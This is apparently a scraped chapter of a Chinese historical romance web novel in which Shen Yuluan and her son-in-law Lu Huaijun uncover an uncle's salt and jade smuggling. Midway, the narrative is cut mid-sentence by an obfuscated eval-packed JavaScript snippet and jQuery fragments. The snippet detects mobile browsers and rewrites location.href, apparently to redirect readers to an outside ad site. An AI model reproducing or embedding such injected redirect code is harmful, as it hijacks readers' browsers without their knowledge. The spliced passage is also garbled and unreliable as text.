青瓷香炉腾起最后一缕烟，沈玉鸾裁刀挑开火漆，松烟墨混着药香扑面而来——是陆怀钧晨起煎药时熏染的苦艾气。


    “吴县确有陆氏，祖宅典当契约在此。”


    锦书展开泛黄的契书，左下角“陆蘅”私印与陆怀钧玉佩纹样严丝合缝，“药铺掌柜证实，陆郎君确常替他们誊写南货单。”


    沈玉鸾抚过典当日期。正是七年前李家丝绸纠纷时，与陆怀钧所述完全吻合。


    密函末尾还附着张泛黄药方，笔锋苍劲雄浑，承自“不义若云”的家传风骨。


    前几日清晨，她绕道西市药铺，隔着湘妃竹帘瞥见陆怀钧俯身称药。


    晨光将他青衫映得通透，苍白的指节捏着三钱血竭，袖口滑落时露出腕间旧疤——像是常年捆扎药篓的勒痕。


    “这小郎君怪得很。”掌柜拨着算盘低语，“上月赊了三钱龙眼肉，非要拿誊抄货单抵账。”


    他抽出叠南货单，朱批小楷详录着岭南干货存量，连虫蛀的陈皮都标注“可入药”。


    药杵声忽停，陆怀钧拢袖咳嗽着将药包递给老妪：“此方添半匙蜂蜜，能压七分苦。”


    转身时葛巾系带扫落柜上艾绒，他蹲身去拾，后颈淡青血管随动作起伏，恰似幼犬脊背嶙峋的骨节。


    烛火将密函照得透亮，沈玉鸾凝视“陆母病重”四字，忽然想起滚落的霉面馍。


    那日他俯身拾起时，绷带渗出的血渍在粗布上晕开，倒比她裙裾的金线海棠更触目惊心。


    沈玉鸾将密函仔细折好，陷入思索。绮雾匆匆入内，低声禀报：“二月十七，陈明允典当柳氏羊脂玉佩，得银二百两。”


    绮雾又补了一句：“是三娘子外祖母的遗物。”


    沈玉鸾闻言，眼神一凛，护甲在“二百两”字样上剐出金屑。


    手指轻叩桌案：“继续盯着。”


    珠帘被夜风卷起，苦艾香破开沉水香。


    陆怀钧端着漆木食盒立在月洞门，玉色襕衫被纱灯镀了层暖光：“听闻娘子戌时未进晚膳，炖了盏石斛老鸭汤。”


    她示意绮雾挑开盅盖，汤色清亮如琥珀，浮着两粒红枸杞，是她午后咳喘时绮雾备下的药材。


    “陆郎君心思剔透如冰鉴。”沈玉鸾叩响青瓷盏，枸杞随涟漪打转，“我方咳半声，你连药膳都备好了？”


    “申时经过小厨房，见锦书娘子在挑石斛。”


    他袖口微卷，新换的绷带缠得齐整：“想起家母咳疾发作时，最爱用野鸭炖川贝。”指腹抚过食盒边沿的豁口，“可惜寒舍简陋，只能用陶罐煨汤。”


    沈玉鸾倾身，步摇垂落的东珠掠过他下颌：“这般体贴入微，倒让我想起扬州城专骗深闺女子的江湖郎中。”


    丹蔻指尖掠过他颈间结痂：“陆郎君这般品貌，何必屈就入赘？”


    陆怀钧喉结在她指下轻颤，苦艾香蓦地浓烈：“寒门子弟若想济世救人……”


    他忽然握住她手腕，引着指尖按向自己心口：“总得先在这浊世站稳脚跟。”掌心薄茧擦过她的鎏金累丝凤纹镯，凉意沁入温润金玉。


    《九章算经》被夜风掀动，露出封面的“商道即人道”。沈玉鸾倏然抽手，金蝶步摇触须颤动。


    方才他心跳平稳如常，连说谎时该有的急促都寻不见半分。


    陆郎君向来神色自若，想必泰山崩于前也面不改色。沈玉鸾轻笑。


    “好个站稳脚跟。”她舀起半勺汤水，“听闻陆郎君昨日典当了冬衣？”


    陆怀钧袖口暗纹微滞：“家母药不能断。”他从容解开腰间粗布荷包，倒出几粒碎银并半串铜钱，“当票在此，娘子若不信……”


    “信，怎么不信。”沈玉鸾打断他，护甲捏起当票边缘的墨渍，“西街陈记当铺的掌柜，最爱在票根盖‘急’字戳。”


    当票右下角朱砂印鲜红欲滴，正是三日前她派人盯梢时见过的印记。


    陆怀钧掩袖轻咳，苍白的唇色被汤气蒸出些许血色。沈玉鸾望着他颈间将愈的伤痕，忽然想起账本里染血的素帕。


    这般窘迫仍要济世救人的傻子，倒比那些道貌岸然的世家子顺眼些。


    她将当票掷还，丹蔻在宣纸“重查盐仓”四字上稍顿，“陆郎君仁善，当知晓盐掺霉米的祸害。”


    陆怀钧收拾食盒的手蓦地收紧，粗陶药罐撞出闷响：“去岁替灾民誊写诉状时，见过食霉米腹胀而亡的孩童。”


    他垂眸掩住眼底痛色，“那些混着霉米的赈粮麻袋……都打着刺史府特制火漆。”


    沈玉鸾心头微动。几月前在码头见到的霉米袋，确实印着模糊的刺史府暗纹。


    她忽以裁刀挑起他下颌，刀背映出两人交叠的影子：“陆郎君这般忧国忧民，怎不去考功名？”


    “庙堂太高，在下只愿做渡舟人。”他指尖抚过药罐裂痕，苦艾香缠绕着未尽之言，“能渡一人，便是一人。”


    更漏声穿廊而过，陆怀钧告退，袖中飘落半片杜衡叶。


    沈玉鸾拾起枯叶对着烛火细看，熟悉的苦艾气息裹挟着凉意，仿佛他就站在她面前，撩拨得她心绪难平。


    ————


    淮南盐场的风裹着咸腥，将陆怀钧青衫吹得猎猎作响。沈玉鸾的天水碧大袖衫拂过晒盐场斑驳石阶。


    “上月新开的盐井在何处？”她裁刀点向盐场舆图，刀尖寒光与陆怀钧腰间玉佩同时映在“甲字仓”三字上。


    管事额头沁出冷汗：“回沈娘子，甲字仓前日走水……”


    话音未落，陆怀钧忽然俯身拾起半块焦黑盐砖，指腹搓开灰烬露出青白内芯：“这火倒是蹊跷——青盐遇明火该泛蓝焰，怎会烧出酸味？”


    沈玉鸾眼尾扫过盐仓梁柱，忽见酸蚀痕迹如蛇行蜿蜒。


    她想起库房玉观音的裂纹，裁刀倏然刺入盐垛：“二叔上月运来的紫竹篾，可还留着？”


    “都在丙字仓。”管事话音未落，锦书疾步附耳：“周老板昨夜逃了，留了封信说要揭发沈家……”


    “揭发？”沈玉鸾冷笑，鎏金护甲捏碎盐粒，“该揭发的怕是二老爷私铸的黄金算珠。”


    她余光瞥见陆怀钧正用银针探盐，药香混着焦糊味萦绕鼻尖，竟莫名令她安心。


    盐仓阴风骤起，陆怀钧突然扯住她急退三步。扬起的盐尘里，腐朽横梁轰然砸落。


    陆怀钧下意识摸向腰间的银鱼符，那是他曾经核对账目、确认签字画押时的习惯动作，如今只摸到粗布腰带。


    三个月前，他刚查到新线索，便攥着鱼符，冒着暴雨冲进户部卷宗库，核算黄河赈灾款项。


    很快，他震惊地发现，部分款项支出异常，显然是精心伪造的假账。赈灾银去向成谜，亏空不止三百万。


    沈玉鸾站稳身形，见陆怀钧仍攥着她月白袖口，眉峰微挑，丹蔻漫不经心划过他虎口薄茧：“陆郎君这双握药杵的手，比捕快的眼还利。”


    陆怀钧指尖一颤松开衣袖，温然一笑：“在下能辨药材真伪，却辨不清这人心似海。”


    他忽然以帕子掩唇轻咳，“所能做的有限，只能竭力护娘子周全，亦护这……”背过手，望向远处，消散的话语化作叹息，“山河无恙。”


    沈玉鸾指尖微烫，广袖垂落时牡丹暗纹拂过他褪色的青衫。她退后半步：“方才……多谢。”


    丙字仓紫竹篾堆中，酸液蚀出的孔洞正对


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154663|164914||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    账册记载的瑕疵玉料。


    陆怀钧捻起竹篾残片：“《淮南冶造录》载，紫竹遇酸三日即脆。”指尖摩挲着裂痕，“这些竹篾……该是二十日前浸过矾水。”


    恰是二叔押运玉料的日子。


    疾风卷着马蹄声破空而来，沈致德蟒纹氅衣扫落盐灯，腰间金镶玉算盘撞得叮当响：“鸾儿查账查到自家盐场，莫不是觉得二叔老了？”


    “二叔不老。”沈玉鸾裁刀划过金算珠，迸出火星，“只是算盘珠子拨得太响，当心惊动了户部的巡盐御史。”


    沈致德肥硕手指猛地攥住玉料箱：“黄毛丫头懂什么！这些可是要给淑妃娘娘……”


    “淑妃要的是血玉，不是浸酸液的岫岩废料。”


    陆怀钧忽然出声，药杵“不慎”跌落，敲碎箱角暗格——潮州珠滚落盐堆，露出底层的蜀锦，与半年前陈家贡品案卷上的拓印一致。


    沈玉鸾冷笑，原来二叔与陈家早有勾结，假借贡玉之名行私运之实。


    “哪有你说话的份！鸾儿倒是给自己找了条忠心护主的好狗。”沈致德怒喝，暴起掀翻盐灯。


    陆怀钧本能地屏息前扑，旋身将沈玉鸾护在怀中。后背撞上盐垛，剧痛间，一缕药香混着海棠香膏气，烫得心口发紧。


    拳风擦耳而过，撞翻的盐灯泼在紫竹篾上，骤然腾起的青烟裹挟酸腐气。


    “闭气！”陆怀钧扯下襕衫捂住沈玉鸾口鼻，自己却吸入毒烟踉跄跪地，“青盐遇矾毒会生成……咳咳……恶气①……”


    沈玉鸾反手将解毒丹塞入他口中，丹蔻染上他唇角血渍：“陆怀钧，你傻不傻！”


    盐场乱作一团时，锦书捧来周老板画押的供词，她下意识攥紧。


    “我一人所为，与旁人无关”几个字在火光中扭曲。


    忽觉腕间微凉——陆怀钧正用银针为她挑出掌心血盐，睫羽在苍白面容投下阴影，发白的唇抿成直线，似在强忍吸入毒气的咳意。


    他喉间腥甜被清苦药香压住，指尖虚虚搭在沈玉鸾腕间玉镯上：“若让娘子在我眼前见血，往后我的安神茶……怕是要添茯神了。”


    他剧烈咳嗽，苍白的脸上泛起病态潮红：“此物镇惊宁神……”指尖轻轻抚过她掌心伤口，药香混着海风咸味，“以免夜里惊醒，后悔没能护娘子周全……”


    她指尖在药囊粗糙针脚处停顿半息，忽将他的素帕压在他掌心：“陆郎君既通岐黄之术，不如先自医。”


    “医者难自医……”他虚握的指节擦过药囊里的艾绒，苦香与血腥在指缝纠缠。


    裁刀挑开他松散绷带，他护她躲避横梁时伤口迸裂，暗红血渍在陈年葛布上洇开。


    “明日着绮雾送两匹雪绢来。”她背过身轻拢丁香色披帛，看着白鸥掠过天际，“莫要让外人瞧着，说我沈家连裹伤布帛都用不起，”


    “还有，我会差铺子的人上门，为你裁制冬衣。沈家的赘婿……”她嘴角噙着一抹似有若无的笑意，半是打趣，半是认真，“面上功夫，总得做得周全。”


    话落，语气忽而转柔，郑重道：“这是我的一番心意，不许推辞。权当是谢你救我一命。”


    “沈娘子，多谢……”他轻咳一声，强抑气血翻涌，目光灼灼，“沈娘子美意，在下心领。日后定当……”


    “不必言说。”沈玉鸾浅笑着抬手打断，“你只管安心调养，便是对我最好的报答。”


    “还是那句……”她又重复了一遍当日的话，“‘养好你的伤，沈家可不纳病弱之人。’我可不愿落人口舌，叫人说沈家虽家大业大，却苛待赘婿。”


    陆怀钧深深一揖，嘴角噙着和煦笑意，朗声道：“在下谨记。”